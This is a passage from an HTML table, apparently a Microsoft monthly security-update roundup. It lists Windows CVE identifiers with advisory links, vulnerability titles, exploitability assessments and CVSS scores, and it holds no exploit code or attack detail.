Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50475">CVE-2026-50475</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50429">CVE-2026-50429</a></td><td><p>Windows Kernel Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58614">CVE-2026-58614</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58545">CVE-2026-58545</a></td><td><p>Windows Kernel Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50378">CVE-2026-50378</a></td><td><p>Windows Key Guard Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50303">CVE-2026-50303</a></td><td><p>Windows Key Guard Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40378">CVE-2026-40378</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49799">CVE-2026-49799</a></td><td><p>Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50371">CVE-2026-50371</a></td><td><p>Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50358">CVE-2026-50358</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50433">CVE-2026-50433</a></td><td><p>Windows Media Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34349">CVE-2026-34349</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50394">CVE-2026-50394</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50415">CVE-2026-50415</a></td><td><p>Windows Media Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57083">CVE-2026-57083</a></td><td><p>Windows Media Photo Codec Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54115">CVE-2026-54115</a></td><td><p>Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50447">CVE-2026-50447</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50505">CVE-2026-50505</a></td><td><p>Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58635">CVE-2026-58635</a></td><td><p>Windows Narrator Braille Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50500">CVE-2026-50500</a></td><td><p>Windows Netlogon Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50476">CVE-2026-50476</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50450">CVE-2026-50450</a></td><td><p>Windows Network Connections Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56650">CVE-2026-56650</a></td><td><p>Windows Network File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56649">CVE-2026-56649</a></td><td><p>Windows Network File System Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50470">CVE-2026-50470</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50496">CVE-2026-50496</a></td><td><p>Windows Network Policy Server SNMP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56194">CVE-2026-56194</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56648">CVE-2026-56648</a></td><td><p>Windows NFS Server Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50337">CVE-2026-50337</a></td><td><p>Windows Notification Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49789">CVE-2026-49789</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50412">CVE-2026-50412</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50422">CVE-2026-50422</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50672">CVE-2026-50672</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56175">CVE-2026-56175</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56182">CVE-2026-56182</a></td><td><p>Windows NTFS Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50341">CVE-2026-50341</a></td><td><p>Windows NTFS Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58640">CVE-2026-58640</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49184">CVE-2026-49184</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49797">CVE-2026-49797</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50308">CVE-2026-50308</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50386">CVE-2026-50386</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50309">CVE-2026-50309</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50313">CVE-2026-50313</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50388">CVE-2026-50388</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50448">CVE-2026-50448</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50471">CVE-2026-50471</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50461">CVE-2026-50461</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50417">CVE-2026-50417</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50482">CVE-2026-50482</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50494">CVE-2026-50494</a></td><td><p>Windows NTFS Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50344">CVE-2026-50344</a></td><td><p>Windows OLE Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50686">CVE-2026-50686</a></td><td><p>Windows OLE Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50335">CVE-2026-50335</a></td><td><p>Windows Operating Systems Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54987">CVE-2026-54987</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50435">CVE-2026-50435</a></td><td><p>Windows Overlay Filter Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50409">CVE-2026-50409</a></td><td><p>Windows Overlay Filter Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40400">CVE-2026-40400</a></td><td><p>Windows PowerShell Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55004">CVE-2026-55004</a></td><td><p>Windows Print Configuration Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50499">CVE-2026-50499</a></td><td><p>Windows Print Spooler Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50383">CVE-2026-50383</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57085">CVE-2026-57085</a></td><td><p>Windows Print Spooler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58608">CVE-2026-58608</a></td><td><p>Windows Print Spooler Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50469">CVE-2026-50469</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50434">CVE-2026-50434</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50339">CVE-2026-50339</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50430">CVE-2026-50430</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50334">CVE-2026-50334</a></td><td><p>Windows Push Notification Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50363">CVE-2026-50363</a></td><td><p>Windows Push Notifications Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50431">CVE-2026-50431</a></td><td><p>Windows Quality of Service (QoS) Packet Scheduler Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>5.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50372">CVE-2026-50372</a></td><td><p>Windows Redirected Drive Buffering System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54982">CVE-2026-54982</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54995">CVE-2026-54995</a></td><td><p>Windows Reliable Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50666">CVE-2026-50666</a></td><td><p>Windows Remote Access Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-56647">CVE-2026-56647</a></td><td><p>Windows Remote Access Service Infrastructure Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50330">CVE-2026-50330</a></td><td><p>Windows Remote Desktop Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50376">CVE-2026-50376</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50504">CVE-2026-50504</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58533">CVE-2026-58533</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58535">CVE-2026-58535</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58546">CVE-2026-58546</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58539">CVE-2026-58539</a></td><td><p>Windows Remote Desktop Client Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-55003">CVE-2026-55003</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57979">CVE-2026-57979</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50445">CVE-2026-50445</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50497">CVE-2026-50497</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54126">CVE-2026-54126</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57982">CVE-2026-57982</a></td><td><p>Windows Remote Desktop Protocol (RDP) Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50369">CVE-2026-50369</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58626">CVE-2026-58626</a></td><td><p>Windows Remote Desktop Services Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50318">CVE-2026-50318</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50407">CVE-2026-50407</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50357">CVE-2026-50357</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50441">CVE-2026-50441</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50668">CVE-2026-50668</a></td><td><p>Windows Resilient File System (ReFS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-54109">CVE-2026-54109</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49792">CVE-2026-49792</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49793">CVE-2026-49793</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50362">CVE-2026-50362</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50492">CVE-2026-50492</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-58530">CVE-2026-58530</a></td><td><p>Windows Resilient File System (ReFS) Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-49791">CVE-2026-49791</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50451">CVE-2026-50451</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-57096">CVE-2026-57096</a></td><td><p>Windows Routing and Remote Access Service (RRAS) Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50452">CVE-2026-50452</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50348">CVE-2026-50348</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50410">CVE-2026-50410</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50449">CVE-2026-50449</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50460">CVE-2026-50460</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50457">CVE-2026-50457</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-50486">CVE-2026-50486</a></td><td><p>Windows Runtime Elevation of Privilege Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a 